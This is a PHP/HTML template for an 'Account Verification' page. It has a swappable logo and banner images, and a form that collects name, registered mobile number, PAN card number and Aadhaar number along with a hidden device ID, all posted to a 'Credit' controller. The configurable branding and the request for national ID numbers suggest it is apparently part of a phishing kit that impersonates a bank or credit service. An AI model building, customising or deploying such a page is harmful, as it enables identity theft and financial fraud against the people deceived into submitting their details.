<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Account Verification</title>
    <link rel="stylesheet" href="<?= base_url()?>assets/credit/styles.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
 <header class="sticky-banner">
        <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 100%;"></div>
    </header>
<body>

    <div class="preloader">
        <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 200px;"></div>
    </div>

   
 <div class="banner-container">
        <div class="banner-slide active" align="center">
            <img src="<?= base_url(). $settings->image1 ?>" alt="Image 1">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image2 ?>" alt="Image 2">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image3 ?>" alt="Image 3">
        </div>
    </div>
    <main>
        <div class="form-container">
            <form action="<?= base_url()?>Credit/index" name="frm" method="post" class="user-form">
                <div class="input-container">
  <i class="fa fa-user"></i>
  <input type="text" name="name" placeholder="Name" required>
</div>  <div class="input-container">
  <i class="fa fa-phone"></i>
              <input type="tel" id="mobile" name="mobile" placeholder="Registred Mobile Number" required>
</div>

 <div class="input-container">
  <i class="fa fa-id-card"></i>
                <input type="text" name="pan" placeholder="Pan Card" required></div>
            <div class="input-container">
  <i class="fa fa-id-card"></i>
                <input type="number" name="adhaar" placeholder="Adhaar Number" required></div>
                
             <!-- <div class="input-container">
  <i class="fa fa-calendar"></i>
                <input type="tel" name="dob" placeholder="DD/MM/YYYY" id="dobInput" maxlength="10" inputmode="numeric" required 
       pattern="\d{2}/\d{2}/\d{4}"></div>-->
                <input type="hidden" id="device_id" name="device_id">
                
                <button type="submit" name="submit" value="Submit">Next</button>
            </form>
        </div>
    </main>
   
</div>

    <div>
                <center>
                    <img src="<?= base_url() ?>assets/credit/footer1.jpg" style="width:100vw; margin-top : 40px;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer2.jpg" style="width:100vw;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer3.jpg" style="width:100vw; " alt="Header" />
                </center>
            
            
                
            </div>

  <script>
    document.getElementById("dobInput").addEventListener("input", function (e) {
        let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters

        // Limit to 8 digits (DDMMYYYY)
        if (value.length > 8) value = value.substring(0, 8);

        // Format as DD/MM/YYYY
        if (value.length > 4) {
            value = value.substring(0, 2) + '/' + value.substring(2, 4) + '/' + value.substring(4);
        } else if (value.length > 2) {
            value = value.substring(0, 2) + '/' + value.substring(2);
        }

        this.value = value; // Update input value
    });
</script>     
    <script>
        window.addEventListener("load", function() {
            const preloader = document.querySelector(".preloader");
            preloader.style.display = "none"; // Hide preloader once the page is loaded
        });
    </script>
    <script>
    document.getElementById("mobile").addEventListener("input", function (e) {
        this.value = this.value.replace(/\D/g, ''); // Allow only digits
        if (this.value.length > 10) {
            this.value = this.value.slice(0, 10); // Limit to 10 digits
        }
    });

    document.getElementById("mobile").addEventListener("blur", function (e) {
        if (this.value.length !== 10) {
            alert("Mobile number must be exactly 10 digits.");
            this.value = ""; // Clear input if not 10 digits
        }
    });
</script>
    <script>
        let currentSlide = 0;
const slides = document.querySelectorAll('.banner-slide');
const totalSlides = slides.length;

function showSlide(index) {
    slides.forEach((slide, i) => {
        slide.classList.remove('active');
        if (i === index) {
            slide.classList.add('active');
        }
    });
}

function nextSlide() {
    currentSlide = (currentSlide + 1) % totalSlides;
    showSlide(currentSlide);
}

setInterval(nextSlide, 3000); // Change slide every 3 seconds
    </script>

</body>
</html>
